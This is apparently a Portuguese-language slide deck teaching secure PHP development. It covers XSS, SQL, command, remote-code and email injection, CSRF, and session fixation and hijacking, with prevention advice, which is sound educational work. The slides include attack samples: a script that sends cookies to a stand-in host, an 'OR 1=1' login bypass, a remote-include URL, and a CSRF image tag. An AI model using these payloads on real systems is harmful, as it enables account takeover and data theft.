  • 2. Objetivo ●Disseminar boas práticas para o desenvolvimento de código seguro em php. ● Exemplificar como são feitos os ataques e suas respectivas formas de prevenção. ●Concientizar sobre a responsabilidade da segurança no desenvolvimento de uma aplicação. ●Abordar os tópicos de segurança que são temas do exame de certificação da Zend. ●Exemplo de ataques realizados em grandes sites. http://dpasqua.wordpress.com
  • 3. Tópicos ●Introdução a Segurança. ●Conceitos e boas práticas. ○ Filtrando Input. ○ Escapando Output. ●Injection Attacks ○ XSS,SQL,Command, Remote Code, Email. ●XSRF / CSRF ●Segurança na Sessão. ○ Session Fixation. ○ Session Hijacking. ●Configurações de segurança no php.ini. ●Shared Hosting. http://dpasqua.wordpress.com
  • 4. Introdução a Segurança ●Responsabilidade pela Segurança. ●Princípios de um desenvolvimento seguro para aplicações Web. ●Você pode confiar nos dados que estão sendo processados ? ●Quais os dados confiáveis ? ●Como o maioria dos ataques podem ser evitados ? ●Tenha em mente a importância de se desenvolver uma aplicação segura. http://dpasqua.wordpress.com
  • 5. Filtrando Input. ●Exemplo: <form action=”login.php” method=”post”> Usuário: <input type=”text” name=”usuario” /><br /> Senha: <input type=”passsword” name=”senha” /><br /> Empresa: <select name=”id_empresa”> <option>nacional</option> <option>internacional</option> <option>filial</option> </select><br/> <input type=”submit” value=”Enviar” /> </form> http://dpasqua.wordpress.com
  • 6. Filtrando Input ●Regras de Validação: Usuário deve ser caracteres alfabéticos. Senha deve ser alfanumérico. Empresa deve conter somente 'nacional', 'internacional' ou 'filial'. ●Validar no lado do cliente (Javascript) ou no lado do Servidor ? http://dpasqua.wordpress.com
  • 7. Filtrando Input Validando no lado do servidor: ● <?php $clean = array(); if (ctype_alpha($_POST['usuario'])) { $clean['usuario'] = $_POST['usuario']; } if (ctype_alnum($_POST['senha'])) { $clean['senha'] = $_POST['senha']; } $empresas = arrray('nacional', 'internacional', 'filial'); if (in_array($_POST['empresa'], $empresas)) { $clean['empresa'] = $_POST['empresa']; } http://dpasqua.wordpress.com
  • 8. Filtrando Input Validando: ● <?php $errors = array (); if (!array_key_exists('usuario', $clean)){ $errors[] = 'Campo usuário inválido. Usar somente caracteres alfabéticos.'; } http://dpasqua.wordpress.com
  • 9. Escapando Output ●Qual a importância de escapar output? ●Escapar output deve fazer parte do filtro de input? ●Escapando output de acordo com o destino: Web Browser e Database ●Escapar output – Web Browser: ●htmlentities / htmlspecialchars: $message = "A 'quote' is <b>bold</b>"; Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt; $html['message'] = htmlentities($message, ENT_QUOTES, 'UTF-8'); http://dpasqua.wordpress.com
  • 10. Escapando Output ●Escapar output para Database: ●*_escape_string: $sql = "SELECT * FROM usuarios WHERE usuario = " . mysql_real_escape_string($usuario); Prepared statements: $sql = 'SELECT * FROM usuarios WHERE usuario = :usuario AND senha = :senha'; $sth = $pdo->prepare($sql); $sth->execute(array( ':username' => $clean['username'], ':senha' => $clean['senha'])); $results = $sth->fetchAll(); http://dpasqua.wordpress.com
  • 11. Escapando Output $sql = "SELECT * FROM usuarios WHERE usuario = ? AND senha = ?"; $sth = $pdo->prepare($sql); $sth->execute(array($clean['username'], $clean['senha'])); $results = $sth->fetchAll(); http://dpasqua.wordpress.com
  • 12. Cross-Site Scripting ●É um dos mais conhecidos e um mais comuns dos tipos de ataque. ●Explora a confiança que o usuário tem na aplicação. ●O foco esta no roubo de informações pessoais do usuários, como por exemplo, os cookies. ●Exemplo: <form method=”POST” action=”adiciona_comentario.php”> <p><textarea name=”comment”></textarea></p> <p><input type=”submit”/></p> </form> http://dpasqua.wordpress.com
  • 13. Cross-Site Scripting <script> document.location = 'http://exemplo.org/getcookies.php?cookies=' + document.cookie; </script> ● Para previnir-se do ataque, faça escape do output utilizando htmlentities. $html['message'] = htmlentities($message, ENT_QUOTES, 'UTF-8'); http://dpasqua.wordpress.com
  • 14. Cross-Site Scripting - Casos ●Worm “Bom Sábado”. ●Afetou o orkut, descoberto 25/09/2010. ●Redireciona para comunidade “infectados vírus orkut” ●Inscreve o usuário em comunidades maliciosas ●Rouba informações presentes nos cookies ●Envia scrap contaminado para lista de amigos http://ibnlive.in.com/news/orkut-attacked-by-bom-sabado-worm/131714-11.html http://dpasqua.wordpress.com
  • 15. Cross-Site Scripting - Casos ●Twitter – 21/09/2010 ●Ao passar o mouse por cima do link bagunçava a interface ●Espalhava o problema para outros usuários ●Impediu que usuários publicassem mensagens no twitter http://hercules-now.com/2010/09/21/falha-de-seguranca-no-twitter-xss/ http://dpasqua.wordpress.com
  • 16. Cross-Site Scripting - Casos ●Site contendo arquivo de sites que já foram vuneráveis à ataques XSS. http://www.xssed.com http://dpasqua.wordpress.com
  • 17. SQL Injection ●É um ataque no qual o usuário malicioso injetam comandos sql em campos de formulários. ●Primeiro o atacante obtém informações suficientes para realizar o ataque, normalmente através de mensagens de erro do banco de dados. ●Um exemplo popular é o formulário de Login: <form method=”POST” action=”login.php”> Username: <input type=”text” name=”username” /> <br /> Senha: <input type=”password” name=”senha” /><br /> <input type=”submit” value=”Login”> </form> http://dpasqua.wordpress.com
  • 18. SQL Injection O Código Vulenerável: ● $sql = "SELECT count(*) FROM usuarios WHERE usuario = '{$_POST['usuario']}' AND senha= '{$_POST['senha']}'"; Nesse caso não é feito o filtro de input. Nada é escapado. http://dpasqua.wordpress.com
  • 19. SQL Injection ●Pode-se logar no sistema, passando no campo de usuário o seguinte conteúdo: (Independente do que é passado no campo de senha.) admin' OR 1=1 -- SELECT * FROM usuarios WHERE usuario = 'admin' OR 1 = 1 -- ' AND senha = 'senhaqualquer' ●Para previnir sql injection, utilizar *_escape_string() ou de preferência prepared statements. ●Podem ocorrer problemas mais graves, como exclusão de tabelas e dados importantes. http://dpasqua.wordpress.com
  • 20. SQL Injection - Casos ●Cisco WCS – 11/08/2010 (Wireless Control System) ●SQL Injection na interface web WCS ●Permite total acesso no device: ●Criação, exclusão e edição de usuários ●Mudança nas configurações wireless http://www.cisco.com/en/US/products/products_security_advisory09186a0080b4091e.shtml http://dpasqua.wordpress.com
  • 21. SQL Injection - Casos ●Em 2008 houve um ataque em massa de SQL Injection ●Exploração nos servidores usando IIS e SQLServer ●Milhares de sites afetados (500.000) http://www.techspot.com/news/29845-fsecure-claims-500000-sites-affected- by-sql-injection.html http://dpasqua.wordpress.com
  • 22. Command Injection ●Tome cuidado ao utilizar o input de usuário para montar comandos dinâmicos ao utilizar as funções 'exec', 'system', 'passthru'. ●Evite sempre que possível utilizar funções que executem comandos no shell. (Boas práticas) ●Se não tiver outra opção, evite utilizar o input de usuário para criar os comandos shell. ●Se for ter que utilizar o input de usuário para montar os comando shell, você pode fazer uso das funções escapeshellcmd() e escapeshellarg() http://php.net/manual/pt_BR/function.escapeshellcmd.php http://www.php.net/manual/pt_BR/function.escapeshellarg.php http://dpasqua.wordpress.com
  • 23. Remote Code Injection ●Tome cuidado ao usar o input do usuário para fazer um include dinâmico na sua aplicação. ●Muitas aplicações se baseiam no input do usuário para criar includes em sua aplicação. ●Exemplo: include "{$_GET['secao']}/config.php"; ● Um usuário mal intencionado pode manipular a query string e criar uma URL que irá "injetar" um arquivo em um site remoto. http://www.exemplo.org/?secao=http://www.sitedoatacante.org/blah.inc/ http://dpasqua.wordpress.com
  • 24. Remote Code Injection Para se prevenir desse ataque, utilize o filtro de input ● adequado. ○ Verificando se o arquivo a ser incluído existe em disco. ○ Criar um array com os nomes dos arquivos permitidos. ○ Remover caracteres inválidos do input. ● Outra forma de se prevenir é desabilitando a diretiva allow_url_fopen do php.ini. http://dpasqua.wordpress.com
  • 25. Email Injection ●Função mail() do PHP ●Cuidado ao usar dados de input do usuário para configurar os headers do e-mail. ●Injeção de e-mail pode ser explorado em formulários de contato mal elaborados. ●A falha permite que usuários maliciosos enviem spam sem seu consentimento. http://dpasqua.wordpress.com
  • 26. Email Injection Código vulnerável: ● $email_origem = $_POST['email']; mail("nome-destino@exemplo.com.br", "Contato via form", $message, "From: $email_origem" ); http://dpasqua.wordpress.com
  • 27. Email Injection Código vulnerável: ● $email_origem = $_POST['email']; mail("nome-destino@exemplo.com.br", "Contato via form", $message, "From: $email_origem" ); Input do usuário: ● email1@exemplo.com.br (quebra de linha) CC: email2@exemplo.com.br, email3@exemplo.com.br, etc.. http://dpasqua.wordpress.com
  • 28. Email Injection Prevenção: ● ○ Tratando: $email_origem = preg_replace("/[rn]/",'',$email_origem); Validando: ● if (preg_match( "/[rn]/", $email_origem) ) { // [... redireciona o usuário para uma página de erro e sai da aplicação ...] } http://dpasqua.wordpress.com
  • 29. Email Injection ●O email de destino também pode ser forjado pelo input do usuário. ●A função mail() aceita vários endereços de email no destinatário. (separados por vírgula): email1@exemplo.com.br, email2@exemplo.com.br, etc.. http://dpasqua.wordpress.com
  • 30. XSRF ou CSRF ●O ataque consiste em forjar requisições de outros usuários. ●Explora a confiança que a aplicação tem no usuário. ●É difícil de identificar pois para a aplicação parece ser uma requisição legítima. ●Exemplo: Atacante analisando o formulário: <form action="/transfer.php" method="post"> <p>To <input type="text" name="to" /></p> <p>Valor $<input type="text" name="valor" /></p> <p><input type="submit" value="Transferir" /></p> </form> http://dpasqua.wordpress.com
  • 31. transfer.php: ● <?php $clean = array(); session_start(); if ($_SESSION['auth']) { /* Filter To */ /* Filter Valor */ /* Make Transfer */ transfer($clean['to'], $clean['valor']); } ?> http://dpasqua.wordpress.com
  • 32. XSRF ●Forjando GET. ●Usuário acessando site malicioso e logado no site do banco em outra aba. <img src="http://banke.org/transfer.php?to=74435388&valor=1 /> É possível forjar POST também. ● http://dpasqua.wordpress.com
  • 33. XSRF Prevenção: ● ○ Guarde um token randômico na sessão e sete no formulário que deseja proteger. $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; Valide se o token esta correto na próxima requisição: ● ● if ($_SESSION['token'] == $_POST['token']) { /* valido */ } http://dpasqua.wordpress.com
  • 34. XSRF - Casos ●Gmail afetado em 2007. ●Afeta usuários logados no gmail e acessando o site malicioso em outra aba. ●O site malicioso conseguia obter todos os detalhes dos contatos do usuário do gmail. http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html http://dpasqua.wordpress.com
  • 35. Session Fixation ●Basicamente, como funciona o processo de criação de sessão no PHP ? ○ session_start() ○ Set_Cookie Header ○ Nome do Cookie: PHPSESSID Fixando Sessão: ● <a href=”http://www.phpexample.com.br/index.php? PHPSESSID=123456”> Entrar</a> http://dpasqua.wordpress.com
  • 36. Session Fixation Explorado em versões antigas do php onde muita gente ● desabilitava os cookies no navegador. Para que seja possível explorar essa vunlerabilidade, ● definir os parâmetros abaixo no php.ini: ●session.use_only_cookies = Off (Padrão On) ●session.use_trans_sid = On (Padrão Off) http://dpasqua.wordpress.com
  • 37. Session Fixation Protegendo-se contra o ataque de session fixation: ● ○ session_regenerate_id() <?php session_start(); if(usuario_autenticado($clean['usuario'], $clean['senha'])) { session_regenerate_id(); $_SESSION['logado'] = true; } http://dpasqua.wordpress.com
  • 38. Session Fixation - Casos ●Joomla versão 1.5 até 1.5.15 ●Após autenticação o id da sessão não era re-criado http://blog.taddong.com/2010/05/session-fixation-vulnerability-in.html http://dpasqua.wordpress.com
  • 39. Session Hijacking Como é feito o ataque de session hijacking ? ● Como se prevenir ? ● ○ Validar HTTP_USER_AGENT ○ Setar no php.ini: session.cookie_httponly = true http://dpasqua.wordpress.com
  • 40. Session Hijacking <?php session_start(); if (array_key_exists('HTTP_USER_AGENT', $_SESSION)) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Acesso inválido. O header User-Agent mudou durante a mesma sessão. */ exit; } } else { /* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 do header User- Agent */ $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> http://dpasqua.wordpress.com
  • 41. Configurações no php.ini register_globals ● ○ Variaveis são “injetadas” no seu código. É impossível determinar a origem dos dados. ○ Exemplo: if (checkLogin()) { $loggedin = TRUE; } ... if ($loggedin) { } http://dpasqua.wordpress.com
  • 42. Configurações no php.ini ●register_globals ○ Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION ○ Em versões >= 4.2.0 – O padrão é Off. ○ Removido do php à partir da versão 5.4.0 ●session.cookie_httponly ○ ativa o parâmetro httponly no cookie usado para identificar a sessão do usuário ●expose_php ○ "Expoê" a versão do php instalado no servidor web. http://dpasqua.wordpress.com
  • 43. Shared Hosting safe_mode ? ● ○ Removido do php 6.0 Alternativa (php.ini): ● ○ open_basedir ○ disable_functions disable_classes http://dpasqua.wordpress.com
  • 44. Shared Hosting open_basedir: ● ○ Limita os locais onde o php pode abrir/incluir arquivos. Usando open_basedir com VirtualHost: <Directory /home/usuario1> php_admin_value open_basedir “/home/usuario1” </Directory> ● disable_functions: ○ Desabilitar funções potencialmente perigosas disable_functions = exec,passthru,shell_exec,system http://dpasqua.wordpress.com
  • 45. Shared Hosting disable_classes: ● Desabilitar classes potencialmente "perigosas" ○ disable_classes = DirectoryIterator,Directory Protegendo sessões em hosts compartilhados usando ● session_set_save_handler: session_set_save_handler( '_open', '_close', '_read', '_write', '_destroy', '_clean'); http://dpasqua.wordpress.com
  • 46. Continuando os estudos ● OWASP - The Open Web Application Security Project ● https://www.owasp.org/ ● PHP Security Consortium http://phpsec.org/projects/guide/ http://dpasqua.wordpress.com
  • 47. Fale Conosco Obrigado por Assistir ! Mais informações: http://dpasqua.wordpress. com E-mail: douglas.pasqua@gmail.com Fone: 11 9236-4184 http://dpasqua.wordpress.com